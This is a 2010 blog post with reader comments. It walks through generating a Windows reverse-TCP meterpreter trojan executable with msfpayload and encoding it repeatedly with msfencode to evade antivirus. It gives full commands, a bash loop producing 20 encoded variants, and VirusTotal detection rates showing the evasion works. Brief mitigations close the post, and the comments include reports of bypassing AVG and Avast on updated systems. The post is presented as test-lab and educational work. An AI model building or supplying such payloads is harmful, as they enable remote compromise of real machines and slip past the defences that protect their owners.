Friday, 27 August 2010

Hacking techniques: Using msfencode to obscure a "trojan" meterpreter shellcode executable from Anti-virus tools

Why are we doing this?
There are a lot of interesting and useful features to play with in the Metasploit meterpreter payload, especially with the extensible scripts.

While I was experimenting with meterpreter sessions, I found it easier and quicker to use a prebuilt Windows PE executeable of a reverse meterpreter payload.

I would recommend producing and using one of these in your testlab, as this enables you to simulate the pwnage of a vulnerable application on a fully patched system. This is helpful as it enables you to get familiar with meterpreter features and post-exploitation techniques; such as hashdumping, information gathering, further network enumeration, tunneling techniques, and secondary attacks - in an easily reproduceable way.

Please only use these methods for testing and educational purposes. I do not advocate breaking the law or attacking systems where you do not have permission.

Making testing easier
Producing a meterpreter executable payload is relatively easy, but I initially found that this executable was easily detected by the Anti-virus on my test Windows system. So we also discuss encoding this executeable multiple times using msfencode. In the following examples I am using Backtrack 4 R1.

Producing a meterpreter executeable
To produce an example executeable, you can use msfpayload as follows:

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.67 LPORT=4444 X > /var/www/met.exe

Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
 Length: 290
Options: LHOST=192.168.1.67,LPORT=4444

ls -l /var/www/met.exe

-rw-r--r-- 1 root root 73802 Aug 20 19:00 /var/www/met.exe


I tried downloading this to my test "victim" system, and is was immediately detected by the desktop Anti-virus tool, and quarantined as a "trojan" - understandable, but I want to do some testing without disabling my security features. (I don't want to get any real viruses or trojans ;o)

Encoding the payload
So, lets try encoding it using msfencode. We need to produce the payload in raw format, and then pipe this to msfencode which will produce the executeable:

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.67 LPORT=4444 R | ./msfencode -t exe > /var/www/metenc1.exe
[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)


I downloaded this to my target system, but nope, still detected by my Anti-virus tool.

Further encoding
Let's get some help:

./msfencode -h

    Usage: ./msfencode

OPTIONS:

    -a   The architecture to encode as
    -b   The list of characters to avoid: '\x00\xff'
    -c   The number of times to encode the data
    -e   The encoder to use
    -h        Help banner
    -i   Encode the contents of the supplied file path
    -k        Keep template working; run payload in new thread (use with -x)
    -l        List available encoders
    -m   Specifies an additional module search path
    -n        Dump encoder information
    -o   The output file
    -p   The platform to encode for
    -s   The maximum size of the encoded data
    -t   The format to display the encoded buffer with (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war, macho)
    -x   Specify an alternate win32 executable template


Using the -c option, msfencode enables you to repeat the encoding process recursively multiple times. Let's go crazy, encode it 21 times, and see what happens:

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.67 LPORT=4444 R | ./msfencode -c 21 -t exe > /var/www/metenc21.exe
[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)


... truncated for your sanity ...

[*] x86/shikata_ga_nai succeeded with size 804 (iteration=21)


In my tests, this payload didn't get detected, it runs fine, and so I was able to use it for what I wanted in my test environment. Just needed to start msfconsole, setup a handler to catch the session, and then double-click the meterpreter executable on the "victim" desktop. Easy.

So how much encoding is required to get past the average AV-tool?
However, I was a bit curious about this (as I always am). I like to know how things work, and where the limitations are.



So how about building a whole batch of these babies, each with a different number of encoding iterations, and seeing which ones get detected and which don't. Time for a bash one-liner:

for num in $(seq 1 20); do ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.67 LPORT=4444 R | ./msfencode -c $num -t exe > /var/www/metenc$num.exe; done

So, then I had a whole army of 20 encoded reverse meterpreter payload exes, so I put some of them to the test with an online scanner www.virustotal.com that can scan against 40+ Anti-virus tools.

Here are my results for some of the encodings, with the number of tools detecting our reverse meterpreter exe payload as a backdoor/trojan

Native exe payload = 14/42 AV tools detected it

That seems very low to me, as for some examples of the encoded ones:

1 encoding = 3/42 AV tools
2 encodings = 8/42 AV tools
5 encodings = 6/42 AV tools
10 encodings = 8/42 AV tools
15 encodings = 8/42 AV tools
18 encodings = 7/42 AV tools
20 encodings = 1/42 AV tools = AVG

The results seem very variable, but I guess this is to be expected, as each encoding is somewhat randomized, and my submissions were not previously known in the hash database.

For these tests, I declare AVG the winner! as it outperformed the other tools.

AhnLab-V3, AntiVir, Antiy-AVL, CAT-QuickHeal, ClamAV, Comodo, DrWeb, eSafe, eTrust-Vet, Fortinet, Jiangmin, Kaspersky, McAfee, McAfee-GW-Edition, Panda, PCTools, Prevx, Rising, Sophos, Sunbelt, SUPERAntiSpyware, Symantec, TheHacker, TrendMicro, TrendMicro-HouseCall, VBA32, ViRobot, VirusBuster... In these tests for some reason you FAIL!

So, it just goes to show, that for a known functionality payload, produced by a very well known tool (Metasploit) ; backdoor/trojan detection is suprisingly poor!

Mitigations
  • Never rely on Anti-virus alone - use defence in depth
  • Content security solutions should block exe code in web and email traffic, even if it is not a known virus it could easily be custom malware

9 comments:

  1. great observations..

    hacker

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  2. not a bad post ... i can confirm that avg is one of the best av`s out there... I have it installed on all my windows based systems and until now i couldn't find a way to "hack" my main system (wind xp sp3 up 2 date & avg internet security 9 up 2 date ) !! Backtrack is the perfect tool for the average pentester but it can be tricky to master metasploit and all the other great tools !!

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  3. Sure, Metasploit is pretty easy to use (check out my other posts on Metasploit)

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  4. Pretty scary stuff I was able to break into my windows box with this (7 fully updated, got though avg and avast, not at the same time of course)

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  5. Yes DeAuthThis,

    Never run an exe from a hacker.

    ;o)

    ReplyDelete
  6. You mean a cracker/black hat hacker...
    We have enough people giving white hats a bad name. please don't be one of them

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  7. Sorry DeAuthThis, but it's too late for that argument.
    I agree, that back in the 80's, the "Hacker" term did not mean criminal.

    Since then the term has been fully hijacked by the press and media, and now (for 99% of the population) it is synonymous with "criminal"

    When I have tried to explain to people in the past, that I was an "Ethical Hacker", they could not understand what that meant. It was like saying "Ethical Mugger" or "Ethical Thief" - it just didn't make any sense to them, because of all the media hype.

    By all means, you can carry on with the 80's definition for yourself, but 99% of people will misinterpret what you mean.

    BTW - I now call myself a "Security Researcher", and I now feel there is nothing particularly "cool" about the "Hacker" term anyway.

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    Replies
    1. I hear ya Ben,

      About two years later I somehow found my way back to this post and well..... Yeah people just don't get it thanks to main stream media.

      They never will, I've found myself constantly arguing with people over the meaning. I suppose your right and it doesn't matter anymore.

      If 99% of the world thought that "Apple" was a basket ball then trying to explain that it isn't would be just as hard. Hacking unfortunately is exactly what it is described as these days :/ Something completely different from what it used to be...

      Delete
  8. How to encode in windows version of metasploit?

    ReplyDelete